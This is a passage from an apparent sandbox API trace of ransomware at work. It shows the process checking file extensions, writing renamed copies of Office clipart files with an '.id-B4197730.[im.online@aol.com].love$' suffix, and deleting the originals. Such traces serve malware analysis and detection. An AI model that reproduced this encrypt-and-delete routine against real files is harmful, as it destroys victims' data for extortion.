(lpString1=".docx", lpString2="1.MID") returned -1 [0247.079] lstrlenW (lpString=".pdf") returned 4 [0247.079] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.079] lstrlenW (lpString=".xls") returned 4 [0247.079] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.079] lstrlenW (lpString=".xlsx") returned 5 [0247.079] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0247.080] lstrlenW (lpString=".ppt") returned 4 [0247.080] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0247.080] lstrlenW (lpString=".zip") returned 4 [0247.080] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.080] lstrlenW (lpString=".rar") returned 4 [0247.080] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.080] lstrlenW (lpString=".bz2") returned 4 [0247.080] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.080] lstrlenW (lpString=".7z") returned 3 [0247.080] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0247.080] lstrlenW (lpString=".dbf") returned 4 [0247.080] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0247.080] lstrlenW (lpString=".1cd") returned 4 [0247.080] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0247.080] lstrlenW (lpString=".jpg") returned 4 [0247.080] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.080] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0247.080] lstrlenW (lpString="OCEAN_01.MID") returned 12 [0247.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0247.081] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=5440) returned 1 [0247.081] CloseHandle (hObject=0x4e4) returned 1 [0247.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 0x220 [0247.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0247.082] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.082] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0247.083] GetLastError () returned 0x0 [0247.083] ReadFile (in: hFile=0x4e4, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x1540, lpOverlapped=0x0) returned 1 [0247.169] WriteFile (in: hFile=0x450, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x1550, lpOverlapped=0x0) returned 1 [0247.170] ReadFile (in: hFile=0x4e4, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.170] WriteFile (in: hFile=0x450, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.170] SetEndOfFile (hFile=0x450) returned 1 [0247.178] CloseHandle (hObject=0x450) returned 1 [0247.178] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.178] SetEndOfFile (hFile=0x4e4) returned 1 [0247.218] CloseHandle (hObject=0x4e4) returned 1 [0247.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 1 [0247.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0247.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0247.222] lstrlenW (lpString=".doc") returned 4 [0247.222] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.223] lstrlenW (lpString=".docx") returned 5 [0247.223] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0247.223] lstrlenW (lpString=".pdf") returned 4 [0247.223] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.223] lstrlenW (lpString=".xls") returned 4 [0247.223] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.223] lstrlenW (lpString=".xlsx") returned 5 [0247.223] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0247.223] lstrlenW (lpString=".ppt") returned 4 [0247.223] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0247.223] lstrlenW (lpString=".zip") returned 4 [0247.223] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.223] lstrlenW (lpString=".rar") returned 4 [0247.223] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.223] lstrlenW (lpString=".bz2") returned 4 [0247.223] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.223] lstrlenW (lpString=".7z") returned 3 [0247.223] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0247.223] lstrlenW (lpString=".dbf") returned 4 [0247.223] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0247.223] lstrlenW (lpString=".1cd") returned 4 [0247.223] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0247.223] lstrlenW (lpString=".jpg") returned 4 [0247.223] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0247.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0247.223] lstrlenW (lpString=".doc") returned 4 [0247.224] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.224] lstrlenW (lpString=".docx") returned 5 [0247.224] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0247.224] lstrlenW (lpString=".pdf") returned 4 [0247.224] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.224] lstrlenW (lpString=".xls") returned 4 [0247.224] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.224] lstrlenW (lpString=".xlsx") returned 5 [0247.224] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0247.224] lstrlenW (lpString=".ppt") returned 4 [0247.224] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0247.224] lstrlenW (lpString=".zip") returned 4 [0247.224] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.224] lstrlenW (lpString=".rar") returned 4 [0247.224] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.224] lstrlenW (lpString=".bz2") returned 4 [0247.224] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.224] lstrlenW (lpString=".7z") returned 3 [0247.224] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0247.224] lstrlenW (lpString=".dbf") returned 4 [0247.224] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0247.224] lstrlenW (lpString=".1cd") returned 4 [0247.224] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0247.224] lstrlenW (lpString=".jpg") returned 4 [0247.224] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.225] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0247.225] lstrlenW (lpString="OUTDR_01.MID") returned 12 [0247.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0247.226] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=6644) returned 1 [0247.227] CloseHandle (hObject=0x418) returned 1 [0247.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 0x220 [0247.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0247.227] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.228] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0247.229] GetLastError () returned 0x0 [0247.229] ReadFile (in: hFile=0x418, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x19f4, lpOverlapped=0x0) returned 1 [0247.231] WriteFile (in: hFile=0x4e4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x1a00, lpOverlapped=0x0) returned 1 [0247.232] ReadFile (in: hFile=0x418, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.232] WriteFile (in: hFile=0x4e4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.232] SetEndOfFile (hFile=0x4e4) returned 1 [0247.232] CloseHandle (hObject=0x4e4) returned 1 [0247.232] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.232] SetEndOfFile (hFile=0x418) returned 1 [0247.236] CloseHandle (hObject=0x418) returned 1 [0247.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.236] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 1 [0247.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0247.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0247.237] lstrlenW (lpString=".doc") returned 4 [0247.237] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.237] lstrlenW (lpString=".docx") returned 5 [0247.237] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0247.237] lstrlenW (lpString=".pdf") returned 4 [0247.237] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.237] lstrlenW (lpString=".xls") returned 4 [0247.237] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.237] lstrlenW (lpString=".xlsx") returned 5 [0247.237] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0247.237] lstrlenW (lpString=".ppt") returned 4 [0247.237] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0247.238] lstrlenW (lpString=".zip") returned 4 [0247.238] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.238] lstrlenW (lpString=".rar") returned 4 [0247.238] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.238] lstrlenW (lpString=".bz2") returned 4 [0247.238] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.238] lstrlenW (lpString=".7z") returned 3 [0247.238] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0247.238] lstrlenW (lpString=".dbf") returned 4 [0247.238] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0247.238] lstrlenW (lpString=".1cd") returned 4 [0247.238] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0247.238] lstrlenW (lpString=".jpg") returned 4 [0247.238] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0247.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0247.238] lstrlenW (lpString=".doc") returned 4 [0247.238] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.238] lstrlenW (lpString=".docx") returned 5 [0247.238] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0247.238] lstrlenW (lpString=".pdf") returned 4 [0247.238] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.238] lstrlenW (lpString=".xls") returned 4 [0247.239] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.239] lstrlenW (lpString=".xlsx") returned 5 [0247.239] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0247.239] lstrlenW (lpString=".ppt") returned 4 [0247.239] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0247.239] lstrlenW (lpString=".zip") returned 4 [0247.239] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.239] lstrlenW (lpString=".rar") returned 4 [0247.239] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.239] lstrlenW (lpString=".bz2") returned 4 [0247.239] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.239] lstrlenW (lpString=".7z") returned 3 [0247.239] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0247.239] lstrlenW (lpString=".dbf") returned 4 [0247.239] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0247.239] lstrlenW (lpString=".1cd") returned 4 [0247.239] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0247.239] lstrlenW (lpString=".jpg") returned 4 [0247.239] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.239] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0247.240] lstrlenW (lpString="PAPER_01.MID") returned 12 [0247.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0247.241] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=6763) returned 1 [0247.241] CloseHandle (hObject=0x418) returned 1 [0247.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 0x220 [0247.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0247.242] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.242] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0247.243] GetLastError () returned 0x0 [0247.243] ReadFile (in: hFile=0x418, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x1a6b, lpOverlapped=0x0) returned 1 [0247.245] WriteFile (in: hFile=0x4e4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x1a70, lpOverlapped=0x0) returned 1 [0247.246] ReadFile (in: hFile=0x418, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.246] WriteFile (in: hFile=0x4e4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.246] SetEndOfFile (hFile=0x4e4) returned 1 [0247.247] CloseHandle (hObject=0x4e4) returned 1 [0247.247] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.247] SetEndOfFile (hFile=0x418) returned 1 [0247.249] CloseHandle (hObject=0x418) returned 1 [0247.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.250] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 1 [0247.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0247.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0247.251] lstrlenW (lpString=".doc") returned 4 [0247.251] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.251] lstrlenW (lpString=".docx") returned 5 [0247.251] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0247.251] lstrlenW (lpString=".pdf") returned 4 [0247.251] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.251] lstrlenW (lpString=".xls") returned 4 [0247.251] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.251] lstrlenW (lpString=".xlsx") returned 5 [0247.251] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0247.252] lstrlenW (lpString=".ppt") returned 4 [0247.252] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0247.252] lstrlenW (lpString=".zip") returned 4 [0247.252] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.252] lstrlenW (lpString=".rar") returned 4 [0247.252] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.252] lstrlenW (lpString=".bz2") returned 4 [0247.252] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.252] lstrlenW (lpString=".7z") returned 3 [0247.252] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0247.252] lstrlenW (lpString=".dbf") returned 4 [0247.252] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0247.252] lstrlenW (lpString=".1cd") returned 4 [0247.252] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0247.252] lstrlenW (lpString=".jpg") returned 4 [0247.252] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0247.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0247.252] lstrlenW (lpString=".doc") returned 4 [0247.252] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.252] lstrlenW (lpString=".docx") returned 5 [0247.252] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0247.252] lstrlenW (lpString=".pdf") returned 4 [0247.252] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.252] lstrlenW (lpString=".xls") returned 4 [0247.253] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.253] lstrlenW (lpString=".xlsx") returned 5 [0247.253] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0247.253] lstrlenW (lpString=".ppt") returned 4 [0247.253] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0247.253] lstrlenW 